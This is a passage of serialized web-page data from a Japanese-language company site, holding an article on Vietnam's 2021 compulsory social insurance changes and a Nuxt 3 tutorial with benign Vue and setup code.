🏅一等賞Nodejs開発者ファン・タン・ホアンさん（右側）",{},"\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2025",{"title":16787,"description":16822},"ja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2026\u002F01\u002F29111942\u002FTitle-Q4.2025.png","JJQ8owWhxw4OipR36KFbdgSBADtCxXlZcVRYBtajiHQ",{"id":16830,"title":16831,"body":16832,"category":67,"created by":238,"date":16908,"description":16836,"extension":71,"meta":16909,"navigation":73,"path":16910,"sections":75,"seo":16911,"stem":16912,"thumbnail":16913,"__hash__":16914},"content_ja\u002Fja\u002Fnews\u002Fnhung-diem-moi-ve-bao-hiem-xa-hoi-bat-buoc-ap-dung-tu-01-09-2021.md","2021年9月からの強制社会保険の改定について",{"type":8,"value":16833,"toc":16906},[16834,16837,16842,16845,16848,16851,16854,16859,16862,16866,16869,16874,16877,16880,16883,16887,16894,16900],[11,16835,16836],{},"労働傷病兵社会省が公布した通達第06\u002F2021\u002FTT-BLĐTBXH号によると、2021年09月01日の改訂では強制社会保険の加入者に影響を与える新しい規定があります。",[11,16838,16839],{},[20,16840,16841],{},"1.強制社会保険の加入者の調整について",[11,16843,16844],{},"通達06\u002F2021第1条第1項は、以下が述べられています：",[11,16846,16847],{},"地方で働く非正規社員、また、社会保険法第2条第1項第aとb号に規定されている労働契約を締結する者は、強制社会保険の加入対象者になります。",[11,16849,16850],{},"それゆえ、地方で働いている非正規社員、かつ、満期1ヶ月以上3ヶ月未満の労働契約を締結する者は契約の下、強制社会保険に加入しなくてはいけません。",[11,16852,16853],{},"通達第59\u002F2015\u002FTT-BLĐTBXH号がこれまで言及していなかったまったく新しい規制です。",[11,16855,16856],{},[20,16857,16858],{},"2. 1ヶ月未満の病欠での傷病手当の支給について",[11,16860,16861],{},"通達第59\u002F2015\u002FTT-BLĐTBXH第6条第b号により、病欠日数が1ヶ月未満の場合、給付は次のように計算されます。",[530,16863],{"className":16864,"alt":64,"src":16865,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F26161240\u002FUntitled.jpg",[11,16867,16868],{},"通達06\u002F2021は引き続きこの規制を継承し、同時にこの計算式に沿って最大給付金に関する規制を追加します。",[11,16870,16871],{},[20,16872,16873],{},"3. 傷病手当の算定基礎に関する給与の変更",[11,16875,16876],{},"通達06第1条第3項に従い、強制社会保険の支払いの対象となる従業員が病気になる、事故（労働災害ではない）に遭う、又は7歳未満の子どもの看護のため、14日以上の休暇を取らなくてはいけない場合、傷病手当が下記のように計算されます：",[11,16878,16879],{},"社会保険料の算定基礎となる病欠の前月の給与に基づく（以前は、社会保険料の算定基礎となる病欠の当月の給与）。",[11,16881,16882],{},"次の月も継続して病気のため休暇を取らなければならない場合、給付は社会保険料の算定基礎となる病欠の前月の給与に基づいて計算されます（新規追加）。",[11,16884,16885],{},[20,16886,55],{},[11,16888,16889],{},[57,16890,16893],{"href":16891,"rel":16892},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FThong-tu-06-2021-TT-BLDTBXH-sua-doi-Thong-tu-59-2015-TT-BLDTBXH-bao-hiem-xa-hoi-bat-buoc-395417.aspx",[61],"1.通達第06\u002F2021\u002FTT-BLĐTBXH号",[11,16895,16896],{},[57,16897,16899],{"href":2472,"rel":16898},[61],"2.社会保険法",[11,16901,16902],{},[57,16903,16905],{"href":15201,"rel":16904},[61],"3.通達第59\u002F2015\u002FTT-BLĐTBXH号",{"title":64,"searchDepth":65,"depth":65,"links":16907},[],"2021-11-30",{},"\u002Fja\u002Fnews\u002Fnhung-diem-moi-ve-bao-hiem-xa-hoi-bat-buoc-ap-dung-tu-01-09-2021",{"title":16831,"description":16836},"ja\u002Fnews\u002Fnhung-diem-moi-ve-bao-hiem-xa-hoi-bat-buoc-ap-dung-tu-01-09-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20163934\u002FNhungDiemMoiVeBHXHBB0-20210901.png","c_uSXkZc1EMg-QEZWXCTH260nc_4Iz13xlCktWlbfz4",{"id":16916,"title":16917,"body":16918,"category":1388,"created by":18179,"date":18180,"description":18181,"extension":71,"meta":18182,"navigation":73,"path":18183,"sections":75,"seo":18184,"stem":18185,"thumbnail":18186,"__hash__":18187},"content_ja\u002Fja\u002Fnews\u002Fnuxt-the-intuitive-web-framework.md","NUXT・直観的なWEBフレームワーク",{"type":8,"value":16919,"toc":18151},[16920,16922,16925,16928,16932,16938,16944,16950,16956,16962,16968,16974,16980,16986,16991,17035,17038,17041,17046,17049,17054,17064,17074,17088,17097,17107,17113,17123,17129,17139,17148,17154,17164,17172,17189,17199,17213,17219,17225,17231,17237,17243,17249,17255,17258,17264,17267,17273,17279,17282,17288,17295,17315,17319,17325,17332,17338,17341,17347,17350,17356,17359,17366,17372,17381,17384,17387,17393,17397,17400,17405,17412,17419,17425,17430,17433,17442,17445,17451,17455,17462,17468,17472,17478,17481,17484,17488,17494,17521,17527,17531,17537,17541,17546,17553,17557,17560,17566,17569,17575,17579,17582,17588,17592,17595,17601,17605,17608,17614,17618,17621,17628,17634,17637,17641],[495,16921,9754],{"id":9754},[11,16923,16924],{},"Nuxtは、Vue.jsに基づく公開ソースのJavaScriptフレームワークの一つです。現時点で最新バージョンはNuxt 3です。Nuxt 3はVite、Vue 3とNitroに基づき、TypescriptのサポートでNuxtフレームワークからアップグレードされたバージョンです。",[11,16926,16927],{},"Nuxtは、CSR、ISR、ESR、SWRといった方法に加えてサーバーサイドレンダリングというServer Side Rendering（SSRと略す）と静的サイトジェネレーターというStatic Site Generator（SSGと略す）の方法でウェブアプリケーションの開発を簡素化できます。Nuxt は、Vue.jsアプリケーションを構築するため規約ベースで構成されたアプローチの手段を提供し、開発者が複雑な構成を処理する代わりにに機能の開発に集中できるようにします。",[495,16929,16931],{"id":16930},"どうしてnuxtを使うか","どうしてNuxtを使うか",[11,16933,16934,16937],{},[20,16935,16936],{},"サーバーサイドレンダリング （SSR）","：Nuxtはサーバーサイドレンダリングを活用しています。つまり、Vue.jsのコンポーネントは、クライアントに送信される前にサーバーで事前にレンダリングされるということです。これにより、検索エンジンがレンダリングされた内容にインデックスを付けることのできっるため、ページ初期化のパフォーマンスが向上され、検索エンジン最適化（SEO）が可能となります。",[11,16939,16940,16943],{},[20,16941,16942],{},"静的サイトジェネレーター （SSG）","： Nuxtは、ビルド時に静的なHTMLファイルを生成でき、直接に、CDNまたは静的ホスティングサービスから提供されます。このアプローチにより、リクエストごとのサーバーサイドレンダリングの必要性を無くして、ページの読み込みが高速となり、拡張性が向上されます。",[11,16945,16946,16949],{},[20,16947,16948],{},"レンダリング高速化","：Vueの仮想DOM（VDOM）はゼロから書き直され、レンダリングパフォーマンスが向上されました。また、コンパイルされたシングルファイルコンポーネントというSingle-File Component（SFCと略す） と操作する場合、Vueのコンパイラーはビルド時に静的マークアップと動的マークアップに分離することで、コンポーネントをさらに最適化できます。これにより、最初のレンダリング（コンポーネントの生成）および更新が迅速に行われ、メモリの使用量が削減されます。Nuxt 3では、サーバーサイドレンダリングも高速化されます。",[11,16951,16952,16955],{},[20,16953,16954],{},"バンドル縮小化","：Vue 3とNuxt 3では、バンドルサイズの削減に焦点を当てています。Tree-shakingというツリーシェイク手法を実装することで、アプリケーションの本番環境においては、バンドル時、使わないコンポーネントとテンプレート・ディレクティブといったVueの機能を除外します。これにより、ファイルサイズが削減されて、ダウンロードが高速化され、アプリケーションの読み込み時間も短縮できます。この方法では、Vue 3のアプリケーションはgzipで圧縮すると、少なくとも12 kbに縮小できます。",[11,16957,16958,16961],{},[20,16959,16960],{},"エコシステム広範化","：Nuxtはコミュニティによって貢献された多様な開発エコシステムを持っています。コミュニティのプラグイン、モジュール、ツールを利用して、自分のアプリケーションを拡張し、カスタマイズすることができます。",[11,16963,16964,16967],{},[20,16965,16966],{},"タイプスクリプトのサポート","： Nuxt 2は、既にタイプスクリプトをサポートしていましたが、Nuxt 3ではタイプスクリプトのサポートが更に強化されており、Nuxt が Typescript に基づいて提供するType-checking機能やその他のツールを利用できます。",[11,16969,16970,16973],{},[20,16971,16972],{},"開発の簡素化","： Nuxtは、コンベンションオーバーコンフィグレーションという設定より規約により、定型コードを削減して開発プロセスを簡素化します。ルーティング、コード分割、状態管理などの機能が組み込まれたので、設定や構成について心配することなくアプリケーションロジックの構築に集中できます。",[11,16975,16976,16979],{},[20,16977,16978],{},"良い開発者体験","：Nuxtは、ホットモジュールリプレイスメント、動リロード、エラーハンドリング等の機能や、デバッグ、テスト、開発のための革新的なツールや他のツールを備えた堅牢な開発環境を提供します。これらの機能によって開発プロセスが合理化されており、繰り返しがより速くなり、デバッグの可能性がより良くなります。",[11,16981,16982,16985],{},[20,16983,16984],{},"拡張性とパフォーマンス","：Nuxtは、自動コード分割、レイジーロード、プレレンダリングといった各機能を通じて、アプリケーションのパフォーマンスを最適化します。これにより、必要なJavaScriptのみが各ページにロードされるので、読み込み時間が速くなり、ユーザー体験が向上されます。また、Nuxtのモジュラー型アーキテクチャでは、アプリケーションのバージョンをアップグレードする時に易く拡張する可能性があります。",[495,16987,16989],{"id":16988},"サポート中の技術",[20,16990,16988],{},[199,16992,16993,17000,17007,17014,17021,17028],{},[34,16994,16995],{},[57,16996,16999],{"href":16997,"rel":16998},"https:\u002F\u002Fwebpack.js.org\u002F",[61],"Webpack 5",[34,17001,17002],{},[57,17003,17006],{"href":17004,"rel":17005},"https:\u002F\u002Fvitejs.dev\u002F",[61],"Vite",[34,17008,17009],{},[57,17010,17013],{"href":17011,"rel":17012},"https:\u002F\u002Fnitro.unjs.io\u002F",[61],"Nitro",[34,17015,17016],{},[57,17017,17020],{"href":17018,"rel":17019},"https:\u002F\u002Fvuejs.org\u002F",[61],"Vue 3",[34,17022,17023],{},[57,17024,17027],{"href":17025,"rel":17026},"https:\u002F\u002Frouter.vuejs.org\u002F",[61],"Router 4",[34,17029,17030],{},[57,17031,17034],{"href":17032,"rel":17033},"https:\u002F\u002Fwww.typescriptlang.org\u002F",[61],"Typescript",[495,17036,17037],{"id":17037},"各機能の比較",[11,17039,17040],{},"以下に、Nuxtの3つのバージョン間の比較表を示します。",[530,17042],{"className":17043,"alt":64,"src":17044,"style":17045},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06143637\u002Ffeature-comparison.png","width: 90%;",[495,17047,17048],{"id":17048},"ディレクトリ構造",[530,17050],{"className":17051,"alt":64,"src":17052,"style":17053},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06160101\u002Fdirectory-structure2.png","width: 25%;",[11,17055,17056,17059,17060,17063],{},[20,17057,17058],{},".nuxt","：Nuxtは、開発中に「",[20,17061,17062],{},".nuxt\u002F","」ディレクトリを使用して Vueアプリケーションを作成します。",[11,17065,17066,17069,17070,17073],{},[20,17067,17068],{},".output","：Nuxtは、本番環境でアプリケーションをビルドする時に「",[20,17071,17072],{},".output\u002F","」ディレクトリを作成します。",[11,17075,17076,17079,17080,17083,17084,17087],{},[20,17077,17078],{},"assets","：「",[20,17081,17082],{},"assets\u002F","」ディレクトリは、ビルドツール（webpackまたはVite）が処理するウェブサイトのすべてのコンテンツを追加するために使われます。通常、このディレクトリには、スタイルシート（CSS、SASSなど）、フォント、 「",[20,17085,17086],{},"public\u002F","」ディレクトリから提供されない画像といったファイルが格納されます。",[11,17089,17090,17079,17093,17096],{},[20,17091,17092],{},"components",[20,17094,17095],{},"components\u002F","」ディレクトリは、すべてのVueコンポーネントを格納する置き場です。そこからは、ページや他のコンポーネント内にインポートすることができます。",[11,17098,17099,17102,17103,17106],{},[20,17100,17101],{},"composables","：Nuxt 3では、自動インポート機能を使うことで「",[20,17104,17105],{},"composables\u002F","」ディレクトリを利用してVueコンポーザブルを自動的にアプリケーションにインポートします。",[11,17108,17109,17112],{},[20,17110,17111],{},"content","：アプリケーションのCMSを作成するため、.md、.yml、.csvのファイルフォーマットをサポートします。",[11,17114,17115,17118,17119,17122],{},[20,17116,17117],{},"layouts","：アプリケーションの見た目を変更するために使われます。アプリケーションには、管理者用レイアウト、ゲスト用レイアウト、登録済みクライアント用レイアウトといったレイアウトが複数あり得ます。これらのレイアウトは、異なるページに流用されて、見た目（サイドバー、メニュー、フッター等）を処理します。インストール時に、Nuxt CLI はデフォルトとして",[20,17120,17121],{},"layouts\u002Fdefault.vue","レイアウトを設定してすべてのページに適用されます。",[11,17124,17125,17128],{},[20,17126,17127],{},"middleware","：ページを表示させる前にリクエストを処理するために使われます。Middlewareを利用することにより、ページが表示される前に認証、アクセス権限チェック、動作ログ出力、その他のカスタム処理などのタスクを実行することができます。",[11,17130,17131,17134,17135,17138],{},[20,17132,17133],{},"modules","：Nuxtは、開始する前に「",[20,17136,17137],{},"modules\u002F","」ディレクトリをスキャンして、ロードします。それは、アプリケーションを構築する時に開発したローカルモジュールを配置するのに適した場所です。",[11,17140,17141,17144,17145,17073],{},[20,17142,17143],{},"node_modules","：パッケージマネージャ（npm、yarn若しくはpnpm）は、プロジェクトの依存関係を保存するため「",[20,17146,17147],{},"node_modules\u002F",[11,17149,17150,17153],{},[20,17151,17152],{},"pages","：Nuxtは、ファイルに基づくルーティングを提供し、ウェブアプリケーション内のルートをVue Routerで作成します。",[11,17155,17156,17159,17160,17163],{},[20,17157,17158],{},"plugins","：Nuxtは、自動的に「",[20,17161,17162],{},"plugins\u002F","」ディレクトリ内のファイルを読み取って、Vueアプリケーション作成時にそれらをロードします。ファイル名にある「.server」か「.client」という接尾辞を使って、プラグインをサーバー或いはクライアントにのみロードすることができます。",[11,17165,17166,17079,17169,17171],{},[20,17167,17168],{},"public",[20,17170,17086],{},"」ディレクトリには、静的ファイルが含まれており、HTTPリクエストに対して追加のロジック処理なしでリソースを直接提供します。例えば、画像ファイル、フォント、robot.txt、favicon.ico、静的ファイルを配置できます。",[11,17173,17174,17177,17178,17181,17182,17181,17185,17188],{},[20,17175,17176],{},"server","：Nuxtは、「",[20,17179,17180],{},"~\u002Fserver\u002Fapi","」、「",[20,17183,17184],{},"~\u002Fserver\u002Froutes",[20,17186,17187],{},"~\u002Fserver\u002Fmiddleware","」の各ディレクトリのファイルを自動的にスキャンしてAPIハンドラーとサーバーハンドラーをHMRのサポートで登録します。",[11,17190,17191,17194,17195,17198],{},[20,17192,17193],{},"utils","：Nuxt 3は、auto-imports機能を使うことで「",[20,17196,17197],{},"utils\u002F","」ディレクトリを利用してヘルパー機能やその他のユーティリティをアプリケーションに自動的にインポートします。",[11,17200,17201,17204,17205,17208,17209,17212],{},[20,17202,17203],{},".env","：Nuxt CLIは、開発モードおよび",[703,17206,17207],{},"nuxi build","や",[703,17210,17211],{},"nuxi generate","実行時で組み込まれたdotenvをサポートします。プロセスの環境変数の他に、プロジェクトのルートディレクトリに.env ファイルが存在する場合、そのファイルはビルド時や開発時や生成時に自動的にロードされます。また、そこに設定されている環境変数は モジュールやnuxt.configファイルでアクセスできます。",[11,17214,17215,17218],{},[20,17216,17217],{},".gitignore","：Gitとの操作する度にパースされたくないプロジェクト内のファイルやフォルダの名前をリストアップすることに使われます。",[11,17220,17221,17224],{},[20,17222,17223],{},".nuxtignore","：Nuxt は.nuxtignoreファイルを使うと、ビルド中にプロジェクトのルートディレクトリ（rootDir）内のレイアウト、ページ、コンポーネント、コンポーザブル、ミドルウェアを無視することができます。.nuxtignoreファイルは.gitignoreファイルや.eslintignoreファイルと同じ仕様に従い、各行がどのファイルを無視するかのことを示すグロブパターンです。",[11,17226,17227,17230],{},[20,17228,17229],{},"app.config.ts","：Nuxtアプリケーションの構成とカスタマイズに使われます。",[11,17232,17233,17236],{},[20,17234,17235],{},"app.vue","：Nuxt 3アプリケーションの主要コンポーネントです。",[11,17238,17239,17242],{},[20,17240,17241],{},"nuxt.config.ts","：nuxt.config.tsファイルには、Nuxtのカスタマイズ構成が含まれており、アプリケーションの構成を行うことができます。これらの構成には、ヘッド タイトル、関連スタイル、スクリプト、ミドルウェア、プラグイン、認証、モジュール、さらにAPIが含まれます。",[11,17244,17245,17248],{},[20,17246,17247],{},"package.json","：アプリケーションのすべての依存関係とスクリプトが含まれます。",[11,17250,17251,17254],{},[20,17252,17253],{},"tsconfig.json","：Nuxtは、他の適切なデフォルト値を.nuxt\u002Ftsconfig.jsonファイルを自動的に生成します。ですので、ルートの外にtsconfig.jsonファイルを作成して、初期化されたNuxtファイルからインポートするだけで済みます。",[495,17256,17257],{"id":17257},"機能",[660,17259,17261],{"id":17260},"auto-imports",[20,17262,17263],{},"Auto-imports",[11,17265,17266],{},"自動取り込みというAuto-importsは、Nuxt 3で開発された新しい機能であり、非常に便利です。コンポーネント、コンポーザブル、ユーティリティ内のすべてのファイルは自動的に認識され、再度インポートすることなく、コンポーネント、コンポーザブルなどに名前を付けるだけで済みます。Auto-importsはデフォルトとして有効になっていますが、nuxt.config.tsファイルで以下のように無効にすることもできます。",[696,17268,17271],{"className":17269,"code":17270,"language":701},[699],"export default defineNuxtConfig({\n  imports: {\n    autoImport: false\n  }\n})\n\n",[703,17272,17270],{"__ignoreMap":64},[660,17274,17276],{"id":17275},"rendering-modes",[20,17277,17278],{},"Rendering Modes",[11,17280,17281],{},"Nuxtは、ユニバーサル レンダリング、クライアントサイドレンダリングといった様々なレンダリング モードをサポートしていますが、ハイブリッド レンダリングを提供して、CDNエッジサーバー上でアプリケーションをレンダリングすることができます。",[660,17283,17285],{"id":17284},"server-engine",[20,17286,17287],{},"Server Engine",[11,17289,17290,17291,17294],{},"Nuxt 3は新しいサーバーエンジンである",[57,17292,17013],{"href":17011,"rel":17293},[61],"を搭載しています。",[199,17296,17297,17300,17303,17306,17309,17312],{},[34,17298,17299],{},"Node.js、ブラウザ、サービスワーカー等のクロスプラットフォームのサポート",[34,17301,17302],{},"直ぐに使えるサーバーレスのサポート",[34,17304,17305],{},"APIルートのサポート",[34,17307,17308],{},"自動コード分割と非同期ロードされたかたまりの自動化",[34,17310,17311],{},"静的ページとサーバーレスページのハイブリッドモード",[34,17313,17314],{},"ホットモジュールリロードを使った開発サーバー",[495,17316,17318],{"id":17317},"nuxt開始","Nuxt開始",[11,17320,17321,17324],{},[20,17322,17323],{},"前提条件","：Nodejsバージョン　16.0.0以降",[11,17326,17327,17328,17331],{},"Nuxt CLIを使用した簡単な設定を",[703,17329,17330],{},"nuxi","コマンドと一緒に使うと、すべてのNuxtコンポーネントをインストールし、管理することができます。 npxがインストールされたら、下記のコマンドで簡単にプロジェクトを作成できます。",[696,17333,17336],{"className":17334,"code":17335,"language":701},[699],"> npx nuxi init project-name\n",[703,17337,17335],{"__ignoreMap":64},[11,17339,17340],{},"結果は以下のようになります。",[696,17342,17345],{"className":17343,"code":17344,"language":701},[699],"Nuxt project is created with v3 template. Next steps:\n› cd project-name\n› Install dependencies with npm install or yarn install or pnpm install\n› Start development server with npm run dev or yarn dev or pnpm run dev\n",[703,17346,17344],{"__ignoreMap":64},[11,17348,17349],{},"下記のコマンドで依存関係をインストールします。",[696,17351,17354],{"className":17352,"code":17353,"language":701},[699],"yarn install\n",[703,17355,17353],{"__ignoreMap":64},[11,17357,17358],{},"そして、新しいプロジェクト構造は以下のようになります。",[11,17360,17361,17365],{},[530,17362],{"className":17363,"alt":64,"src":17364,"style":17053},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06171557\u002Finit-project.png"," これで、Nuxt アプリケーションを開発モードで起動できるようになります。",[696,17367,17370],{"className":17368,"code":17369,"language":701},[699],"yarn dev -o\n",[703,17371,17369],{"__ignoreMap":64},[11,17373,17374,17375,17380],{},"次に、ブラウザ（",[57,17376,17379],{"href":17377,"rel":17378},"http:\u002F\u002Flocalhost:3000",[61],"http:\u002F\u002Flocalhost:3000\u002F","）にアクセスして、作成したてのNuxtアプリケーションが動いていることを確認できます。",[11,17382,17383],{},"デフォルトとしては、app .vueファイルは、エントリポイントとしての役割を果たすコア コンポーネントであり、各アプリケーション ルートに対しコンテンツをレンダリングする。このファイルもNuxtアプリケーションのルートコンポーネントであり、他のすべてのコンポーネントを包括するレイアウトと構造を表します。通常、メイン レイアウト、ナビゲーション、および複数のページ間で共用する必要があるグローバルコンポーネントやロジックが含まれます。",[11,17385,17386],{},"では、app.vueファイルの内容を少し変更して、表示を確認してみてください。",[696,17388,17391],{"className":17389,"code":17390,"language":701},[699],"> app.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>Welcome to the homepage\u003C\u002Fh1>\n  \u003Cdiv>\n\u003C\u002Ftemplate>\n",[703,17392,17390],{"__ignoreMap":64},[530,17394],{"className":17395,"alt":64,"src":17396,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06174754\u002Fapp.vue_-1024x130.png",[495,17398,17399],{"id":17399},"特徴",[660,17401,17402],{"id":17152},[20,17403,17404],{},"Pages",[11,17406,17407,17408,17411],{},"これは、アプリケーションビューとルートが配置される場所です。デフォルトとして、Nuxtは各ファイルに基づくルーティングシステムを使用し、「",[20,17409,17410],{},"pages\u002F","」ディレクトリ内の.vueファイルの一つずつは一つのルートに該当します。",[11,17413,17414,17415,17418],{},"Pagesを使うためには、pages\u002Findex.vueファイルを作成し、\u003CNuxtPage\u002F>コンポーネントをapp.vueに追加します（若しくは、pages\u002Findex.vueをデフォルトにしたい場合、app.vueを削除します）。Pagesは、Vueコンポーネントであり、Nuxtのサポートする有効な拡張子 （デフォルトでは、.vue、.js、.jsx、.mjs、.ts、または.tsx）を持つことができます。Nuxtは、「",[20,17416,17417],{},"~\u002Fpages\u002F","」ディレクトリ内のすべてのページに対しルートを自動的に生成します。",[696,17420,17423],{"className":17421,"code":17422,"language":701},[699],"> app.vue (app.vueをデフォルトにした場合)\n\u003Ctemplate>\n  \u003CNuxtPage \u002F>\n\u003C\u002Ftemplate>\n\n--- .vue ---\n> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Home Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n> pages\u002Fabout.vue\n\u003Ctemplate>\n  \u003Cp>About Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n--- .ts ---\n> pages\u002Findex.ts\nexport default defineComponent({\n  render () {\n    return h('h1', 'Home page');\n  }\n});\n\n--- .tsx ---\nexport default defineComponent({\n  render () {\n    return \u003Ch1>Home page\u003C\u002Fh1>;\n  }\n});\n",[703,17424,17422],{"__ignoreMap":64},[660,17426,17427],{"id":17117},[20,17428,17429],{},"Layouts",[11,17431,17432],{},"Layoutは、アプリケーション内の各ページの全体的なデザインと構造を決定する上で重要な役割を果たします。NuxtのLayoutは、ページコンポーネントに再利用可能なテンプレートを表し、複数のページで統一的な見た目を提供します。また、ログインページのレイアウト、ホームページのレイアウト、他のレイアウト等の異なるレイアウトを作成することもできます。",[4829,17434,17435],{},[11,17436,17437],{},[17438,17439,17441],"i",{"style":17440},"color:red","もしアプリケーションにレイアウトが1 つしかない場合、app.vueを \u003CNuxtPage \u002F> コンポーネントと共に使用することをお勧めします。",[11,17443,17444],{},"何も設定しない場合、Nuxtは、default.vueをデフォルトとして指定します。",[696,17446,17449],{"className":17447,"code":17448,"language":701},[699],"> app.vue\n\u003Ctemplate>\n  \u003CNuxtLayout>\n    \u003CNuxtPage \u002F>\n  \u003C\u002FNuxtLayout>\n\u003C\u002Ftemplate>\n\n> layouts\u002Fdefault.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>This our default layout\u003C\u002Fh1>\n    \u003Cslot \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Home Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[703,17450,17448],{"__ignoreMap":64},[530,17452],{"className":17453,"alt":64,"src":17454,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06175418\u002Fdefault-layout-1024x147.png",[11,17456,17457,17458,17461],{},"では、もっと面白いことをやってみましょう。カスタムレイアウトを作成して、そのレイアウトで「",[20,17459,17460],{},"\u002FAbout","」ページを表示してみましょう。",[696,17463,17466],{"className":17464,"code":17465,"language":701},[699],"> layouts\u002Fcustom.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>This our custom layout\u003C\u002Fh1>\n    \u003Cslot \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n> pages\u002Fabout.vue\n\u003Ctemplate>\n  \u003Cp>About Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\ndefinePageMeta({\n  layout: 'custom',\n});\n\u003C\u002Fscript>\n",[703,17467,17465],{"__ignoreMap":64},[530,17469],{"className":17470,"alt":64,"src":17471,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07135628\u002Fpage-about-1024x97.png",[660,17473,17475],{"id":17474},"routing",[20,17476,17477],{},"Routing",[1750,17479,17480],{"id":17480},"動的ルート",[11,17482,17483],{},"では、Nuxt ファイルに基づくルーティングを使ってルートを作成する様々な方法を見てみましょう。",[530,17485],{"className":17486,"alt":64,"src":17487,"style":17053},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06181322\u002Fstructure-pages.png",[11,17489,17490,17491,17493],{},"以下の例では、「",[20,17492,17417],{},"」ディレクトリの構造を見てみましょう。内容がルートパラメータに基づいて可変する動的ページと静的ページの2種類のページがあります。",[199,17495,17496,17510],{},[34,17497,17498,17499],{},"静的ページ\n",[31,17500,17501,17504,17507],{},[34,17502,17503],{},"index.vue → \u002F",[34,17505,17506],{},"about.vue → \u002Fabout",[34,17508,17509],{},"category\u002Findex.vue → \u002Fcategory",[34,17511,17512,17513],{},"動的ページ\n",[31,17514,17515,17518],{},[34,17516,17517],{},"category\u002F[slug].vue → \u002Fcategory\u002Flanguage",[34,17519,17520],{},"user-[group]\u002F[id].vue → \u002Fuser-admin\u002F123",[696,17522,17525],{"className":17523,"code":17524,"language":701},[699],"> pages\u002Fcategory\u002F[slug].vue\n\u003Ctemplate>\n  \u003Cp>Category slug : {{ $route.params.slug  }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst route = useRoute();\nuseHead({\n  title: `Category ${route.params.slug}`\n});\n\u003C\u002Fscript>\n\n",[703,17526,17524],{"__ignoreMap":64},[530,17528],{"className":17529,"alt":64,"src":17530,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06181711\u002Frouting-category-slug-1024x157.png",[696,17532,17535],{"className":17533,"code":17534,"language":701},[699],"> pages\u002Fuser-[group]\u002F[id].vue\n\u003Ctemplate>\n  \u003Cp>Group : {{ $route.params.group }} - ID : {{ $route.params.id }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst route = useRoute();\nuseHead({\n  title: `User group ${route.params.group} ID ${route.params.id}`\n});\n\u003C\u002Fscript>\n\n",[703,17536,17534],{"__ignoreMap":64},[530,17538],{"className":17539,"alt":64,"src":17540,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07154241\u002Frouting-user-group-id-1024x162.png",[1750,17542,17544],{"id":17543},"ネストルート",[20,17545,17543],{},[11,17547,17548,17549],{},"これは、親ルートが子ルートまたはサブルートを持つ階層型で表示されるページの構造です。各ページが共通レイアアウトを共用し、または、アプリケーション内でのルートをネストするよう整理したい場合に役に立ちます。",[17550,17551,17552],"nuxt-page",{}," を使用してネストされたルートを表示することができます。",[530,17554],{"className":17555,"alt":64,"src":17556,"style":17053},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07154348\u002Fstructure-nested-pages.png",[11,17558,17559],{},"このファイルツリーは次のようなルートを生成します。",[696,17561,17564],{"className":17562,"code":17563,"language":701},[699],"[\n  {\n    path: '\u002Fuser',\n    component: '~\u002Fpages\u002Fuser.vue',\n    name: 'user',\n    children: [\n      {\n        path: '\u002F',\n        component: '~\u002Fpages\u002Fuser\u002Findex.vue',\n        name: 'user-child'\n      },\n      {\n        path: '\u002F:id',\n        component: '~\u002Fpages\u002Fuser\u002F[id].vue',\n        name: 'user-id',\n    children: [\n       {\n         path: '\u002Fprofile',\n         component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fprofile.vue',\n         name: 'user-id-profile'\n       },\n       {\n         path: '\u002Fdivision',\n         component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fdivision\u002Findex.vue',\n         name: 'user-id-division',\n         children: [\n        {\n          path: '\u002F:division\u002F:divisionId',\n          component: 